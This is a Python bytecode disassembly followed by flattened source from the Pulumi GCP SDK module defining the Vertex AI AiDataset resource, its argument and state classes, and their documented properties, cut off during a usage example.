LOAD_CONST (None,) LOAD_NAME str LOAD_NAME AiDatasetArgs LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_CONST ('resource_name', 'args', 'opts') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faad43a0780, file "f.py", line 412> LOAD_CONST 'AiDataset.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME str LOAD_CONST ('resource_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faad43a0c00, file "f.py", line 451> LOAD_CONST 'AiDataset.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'display_name', 'encryption_spec', 'labels', 'metadata_schema_uri', 'project', 'region') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _internal_init at 0x7faad43a00c0, file "f.py", line 460> LOAD_CONST 'AiDataset._internal_init' MAKE_FUNCTION STORE_NAME _internal_init LOAD_NAME staticmethod LOAD_CONST (None, None, None, None, None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 'AiDataset' LOAD_CONST ('resource_name', 'id', 'opts', 'create_time', 'display_name', 'effective_labels', 'encryption_spec', 'labels', 'metadata_schema_uri', 'name', 'project', 'pulumi_labels', 'region', 'update_time', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7faad43a0ed0, file "f.py", line 511> LOAD_CONST 'AiDataset.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'createTime' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object create_time at 0x7faad43a0300, file "f.py", line 577> LOAD_CONST 'AiDataset.create_time' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME create_time LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'displayName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object display_name at 0x7faad43a0db0, file "f.py", line 585> LOAD_CONST 'AiDataset.display_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME display_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'effectiveLabels' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object effective_labels at 0x7faad43a06f0, file "f.py", line 593> LOAD_CONST 'AiDataset.effective_labels' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME effective_labels LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'encryptionSpec' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_CONST 'outputs.AiDatasetEncryptionSpec' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object encryption_spec at 0x7faad43a0270, file "f.py", line 601> LOAD_CONST 'AiDataset.encryption_spec' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME encryption_spec LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object labels at 0x7faad43a09c0, file "f.py", line 612> LOAD_CONST 'AiDataset.labels' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME labels LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'metadataSchemaUri' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata_schema_uri at 0x7faad43a0a50, file "f.py", line 623> LOAD_CONST 'AiDataset.metadata_schema_uri' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME metadata_schema_uri LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7faad43a08a0, file "f.py", line 634> LOAD_CONST 'AiDataset.name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faad43a0b70, file "f.py", line 642> LOAD_CONST 'AiDataset.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pulumiLabels' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pulumi_labels at 0x7faad43a0e40, file "f.py", line 651> LOAD_CONST 'AiDataset.pulumi_labels' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pulumi_labels LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object region at 0x7faad43a0810, file "f.py", line 660> LOAD_CONST 'AiDataset.region' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME region LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'updateTime' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object update_time at 0x7faad43a0030, file "f.py", line 668> LOAD_CONST 'AiDataset.update_time' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME update_time LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _utilities LOAD_ATTR get_resource_args_opts LOAD_GLOBAL AiDatasetArgs LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST resource_args STORE_FAST opts LOAD_FAST resource_args LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name LOAD_FAST opts BUILD_TUPLE LOAD_FAST resource_args LOAD_ATTR __dict__ CALL_FUNCTION POP_TOP JUMP_FORWARD to 72 LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_GLOBAL _utilities LOAD_METHOD get_resource_opts_defaults CALL_METHOD LOAD_FAST opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL isinstance LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'Expected resource options to be a ResourceOptions instance' CALL_FUNCTION RAISE_VARARGS LOAD_FAST opts LOAD_ATTR id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST __props__ LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST '__props__ is only valid when passed in combination with a valid opts.id to get an existing resource' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL AiDatasetArgs LOAD_METHOD __new__ LOAD_GLOBAL AiDatasetArgs CALL_METHOD STORE_FAST __props__ LOAD_FAST display_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'display_name'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST display_name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'display_name' STORE_SUBSCR LOAD_FAST encryption_spec LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'encryption_spec' STORE_SUBSCR LOAD_FAST labels LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'labels' STORE_SUBSCR LOAD_FAST metadata_schema_uri LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'metadata_schema_uri'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST metadata_schema_uri LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'metadata_schema_uri' STORE_SUBSCR LOAD_FAST project LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'project' STORE_SUBSCR LOAD_FAST region LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'region' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'create_time' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'effective_labels' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'name' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pulumi_labels' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'update_time' STORE_SUBSCR LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_CONST 'effectiveLabels' LOAD_CONST 'pulumiLabels' BUILD_LIST LOAD_CONST ('additional_secret_outputs',) CALL_FUNCTION STORE_FAST secret_opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_FAST secret_opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL super LOAD_GLOBAL AiDataset LOAD_FAST __self__ CALL_FUNCTION LOAD_METHOD __init__ LOAD_CONST 'gcp:vertex/aiDataset:AiDataset' LOAD_FAST resource_name LOAD_FAST __props__ LOAD_FAST opts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_FAST id LOAD_CONST ('id',) CALL_FUNCTION CALL_METHOD STORE_FAST opts LOAD_GLOBAL _AiDatasetState LOAD_METHOD __new__ LOAD_GLOBAL _AiDatasetState CALL_METHOD STORE_FAST __props__ LOAD_FAST create_time LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'create_time' STORE_SUBSCR LOAD_FAST display_name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'display_name' STORE_SUBSCR LOAD_FAST effective_labels LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'effective_labels' STORE_SUBSCR LOAD_FAST encryption_spec LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'encryption_spec' STORE_SUBSCR LOAD_FAST labels LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'labels' STORE_SUBSCR LOAD_FAST metadata_schema_uri LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'metadata_schema_uri' STORE_SUBSCR LOAD_FAST name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'name' STORE_SUBSCR LOAD_FAST project LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'project' STORE_SUBSCR LOAD_FAST pulumi_labels LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pulumi_labels' STORE_SUBSCR LOAD_FAST region LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'region' STORE_SUBSCR LOAD_FAST update_time LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'update_time' STORE_SUBSCR LOAD_GLOBAL AiDataset LOAD_FAST resource_name LOAD_FAST opts LOAD_FAST __props__ LOAD_CONST ('opts', '__props__') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'create_time' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'display_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'effective_labels' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'encryption_spec' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'labels' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'metadata_schema_uri' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pulumi_labels' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'region' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'update_time' CALL_METHOD RETURN_VALUE
import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ["AiDatasetArgs", "AiDataset"] @pulumi.input_type class AiDatasetArgs: def __init__( __self__, *, display_name: pulumi.Input[str], metadata_schema_uri: pulumi.Input[str], encryption_spec: Optional[pulumi.Input["AiDatasetEncryptionSpecArgs"]] = None, labels: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, project: Optional[pulumi.Input[str]] = None, region: Optional[pulumi.Input[str]] = None ): """ The set of arguments for constructing a AiDataset resource. :param pulumi.Input[str] display_name: The user-defined name of the Dataset. The name can be up to 128 characters long and can be consist of any UTF-8 characters. :param pulumi.Input[str] metadata_schema_uri: Points to a YAML file stored on Google Cloud Storage describing additional information about the Dataset. The schema is defined as an OpenAPI 3.0.2 Schema Object. The schema files that can be used here are found in gs://google-cloud-aiplatform/schema/dataset/metadata/. - - - :param pulumi.Input['AiDatasetEncryptionSpecArgs'] encryption_spec: Customer-managed encryption key spec for a Dataset. If set, this Dataset and all sub-resources of this Dataset will be secured by this key. Structure is documented below. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] labels: A set of key/value label pairs to assign to this Workflow. **Note**: This field is non-authoritative, and will only manage the labels present in your configuration. Please refer to the field `effective_labels` for all of the labels present on the resource. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. :param pulumi.Input[str] region: The region of the dataset. eg us-central1 """ pulumi.set(__self__, "display_name", display_name) pulumi.set(__self__, "metadata_schema_uri", metadata_schema_uri) if encryption_spec is not None: pulumi.set(__self__, "encryption_spec", encryption_spec) if labels is not None: pulumi.set(__self__, "labels", labels) if project is not None: pulumi.set(__self__, "project", project) if region is not None: pulumi.set(__self__, "region", region) @property @pulumi.getter(name="displayName") def display_name(self) -> pulumi.Input[str]: """ The user-defined name of the Dataset. The name can be up to 128 characters long and can be consist of any UTF-8 characters. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: pulumi.Input[str]): pulumi.set(self, "display_name", value) @property @pulumi.getter(name="metadataSchemaUri") def metadata_schema_uri(self) -> pulumi.Input[str]: """ Points to a YAML file stored on Google Cloud Storage describing additional information about the Dataset. The schema is defined as an OpenAPI 3.0.2 Schema Object. The schema files that can be used here are found in gs://google-cloud-aiplatform/schema/dataset/metadata/. - - - """ return pulumi.get(self, "metadata_schema_uri") @metadata_schema_uri.setter def metadata_schema_uri(self, value: pulumi.Input[str]): pulumi.set(self, "metadata_schema_uri", value) @property @pulumi.getter(name="encryptionSpec") def encryption_spec(self) -> Optional[pulumi.Input["AiDatasetEncryptionSpecArgs"]]: """ Customer-managed encryption key spec for a Dataset. If set, this Dataset and all sub-resources of this Dataset will be secured by this key. Structure is documented below. """ return pulumi.get(self, "encryption_spec") @encryption_spec.setter def encryption_spec( self, value: Optional[pulumi.Input["AiDatasetEncryptionSpecArgs"]] ): pulumi.set(self, "encryption_spec", value) @property @pulumi.getter def labels(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A set of key/value label pairs to assign to this Workflow. **Note**: This field is non-authoritative, and will only manage the labels present in your configuration. Please refer to the field `effective_labels` for all of the labels present on the resource. """ return pulumi.get(self, "labels") @labels.setter def labels(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "labels", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @property @pulumi.getter def region(self) -> Optional[pulumi.Input[str]]: """ The region of the dataset. eg us-central1 """ return pulumi.get(self, "region") @region.setter def region(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "region", value) @pulumi.input_type class _AiDatasetState: def __init__( __self__, *, create_time: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, effective_labels: Optional[ pulumi.Input[Mapping[str, pulumi.Input[str]]] ] = None, encryption_spec: Optional[pulumi.Input["AiDatasetEncryptionSpecArgs"]] = None, labels: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, metadata_schema_uri: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, pulumi_labels: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, region: Optional[pulumi.Input[str]] = None, update_time: Optional[pulumi.Input[str]] = None ): """ Input properties used for looking up and filtering AiDataset resources. :param pulumi.Input[str] create_time: The timestamp of when the dataset was created in RFC3339 UTC "Zulu" format, with nanosecond resolution and up to nine fractional digits. :param pulumi.Input[str] display_name: The user-defined name of the Dataset. The name can be up to 128 characters long and can be consist of any UTF-8 characters. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] effective_labels: All of labels (key/value pairs) present on the resource in GCP, including the labels configured through Pulumi, other clients and services. :param pulumi.Input['AiDatasetEncryptionSpecArgs'] encryption_spec: Customer-managed encryption key spec for a Dataset. If set, this Dataset and all sub-resources of this Dataset will be secured by this key. Structure is documented below. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] labels: A set of key/value label pairs to assign to this Workflow. **Note**: This field is non-authoritative, and will only manage the labels present in your configuration. Please refer to the field `effective_labels` for all of the labels present on the resource. :param pulumi.Input[str] metadata_schema_uri: Points to a YAML file stored on Google Cloud Storage describing additional information about the Dataset. The schema is defined as an OpenAPI 3.0.2 Schema Object. The schema files that can be used here are found in gs://google-cloud-aiplatform/schema/dataset/metadata/. - - - :param pulumi.Input[str] name: The resource name of the Dataset. This value is set by Google. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] pulumi_labels: The combination of labels configured directly on the resource and default labels configured on the provider. :param pulumi.Input[str] region: The region of the dataset. eg us-central1 :param pulumi.Input[str] update_time: The timestamp of when the dataset was last updated in RFC3339 UTC "Zulu" format, with nanosecond resolution and up to nine fractional digits. """ if create_time is not None: pulumi.set(__self__, "create_time", create_time) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if effective_labels is not None: pulumi.set(__self__, "effective_labels", effective_labels) if encryption_spec is not None: pulumi.set(__self__, "encryption_spec", encryption_spec) if labels is not None: pulumi.set(__self__, "labels", labels) if metadata_schema_uri is not None: pulumi.set(__self__, "metadata_schema_uri", metadata_schema_uri) if name is not None: pulumi.set(__self__, "name", name) if project is not None: pulumi.set(__self__, "project", project) if pulumi_labels is not None: pulumi.set(__self__, "pulumi_labels", pulumi_labels) if region is not None: pulumi.set(__self__, "region", region) if update_time is not None: pulumi.set(__self__, "update_time", update_time) @property @pulumi.getter(name="createTime") def create_time(self) -> Optional[pulumi.Input[str]]: """ The timestamp of when the dataset was created in RFC3339 UTC "Zulu" format, with nanosecond resolution and up to nine fractional digits. """ return pulumi.get(self, "create_time") @create_time.setter def create_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "create_time", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ The user-defined name of the Dataset. The name can be up to 128 characters long and can be consist of any UTF-8 characters. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter(name="effectiveLabels") def effective_labels( self, ) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ All of labels (key/value pairs) present on the resource in GCP, including the labels configured through Pulumi, other clients and services. """ return pulumi.get(self, "effective_labels") @effective_labels.setter def effective_labels( self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] ): pulumi.set(self, "effective_labels", value) @property @pulumi.getter(name="encryptionSpec") def encryption_spec(self) -> Optional[pulumi.Input["AiDatasetEncryptionSpecArgs"]]: """ Customer-managed encryption key spec for a Dataset. If set, this Dataset and all sub-resources of this Dataset will be secured by this key. Structure is documented below. """ return pulumi.get(self, "encryption_spec") @encryption_spec.setter def encryption_spec( self, value: Optional[pulumi.Input["AiDatasetEncryptionSpecArgs"]] ): pulumi.set(self, "encryption_spec", value) @property @pulumi.getter def labels(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A set of key/value label pairs to assign to this Workflow. **Note**: This field is non-authoritative, and will only manage the labels present in your configuration. Please refer to the field `effective_labels` for all of the labels present on the resource. """ return pulumi.get(self, "labels") @labels.setter def labels(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "labels", value) @property @pulumi.getter(name="metadataSchemaUri") def metadata_schema_uri(self) -> Optional[pulumi.Input[str]]: """ Points to a YAML file stored on Google Cloud Storage describing additional information about the Dataset. The schema is defined as an OpenAPI 3.0.2 Schema Object. The schema files that can be used here are found in gs://google-cloud-aiplatform/schema/dataset/metadata/. - - - """ return pulumi.get(self, "metadata_schema_uri") @metadata_schema_uri.setter def metadata_schema_uri(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "metadata_schema_uri", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The resource name of the Dataset. This value is set by Google. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @property @pulumi.getter(name="pulumiLabels") def pulumi_labels(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ The combination of labels configured directly on the resource and default labels configured on the provider. """ return pulumi.get(self, "pulumi_labels") @pulumi_labels.setter def pulumi_labels( self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] ): pulumi.set(self, "pulumi_labels", value) @property @pulumi.getter def region(self) -> Optional[pulumi.Input[str]]: """ The region of the dataset. eg us-central1 """ return pulumi.get(self, "region") @region.setter def region(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "region", value) @property @pulumi.getter(name="updateTime") def update_time(self) -> Optional[pulumi.Input[str]]: """ The timestamp of when the dataset was last updated in RFC3339 UTC "Zulu" format, with nanosecond resolution and up to nine fractional digits. """ return pulumi.get(self, "update_time") @update_time.setter def update_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "update_time", value) class AiDataset(pulumi.CustomResource): @overload def __init__( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, display_name: Optional[pulumi.Input[str]] = None, encryption_spec: Optional[ pulumi.Input[pulumi.InputType["AiDatasetEncryptionSpecArgs"]] ] = None, labels: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, metadata_schema_uri: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, region: Optional[pulumi.Input[str]] = None, __props__=None, ): """ A collection of DataItems and Annotations on them. To get more information about Dataset, see: * [API documentation](https://cloud.google.com/vertex-ai/docs/reference/rest/v1/projects.locations.datasets) * How-to Guides * [Official Documentation](https://cloud.google.com/vertex-ai/docs) ```python import pulumi import pulumi_gcp as gcp dataset = gcp.vertex.AiDataset("dataset", display_name="terraform", labels={ "env": "test", }, metadata_schema_uri="gs://google-cloud-aiplatform/schema/dataset/metadata/image_1.0.0.yaml", 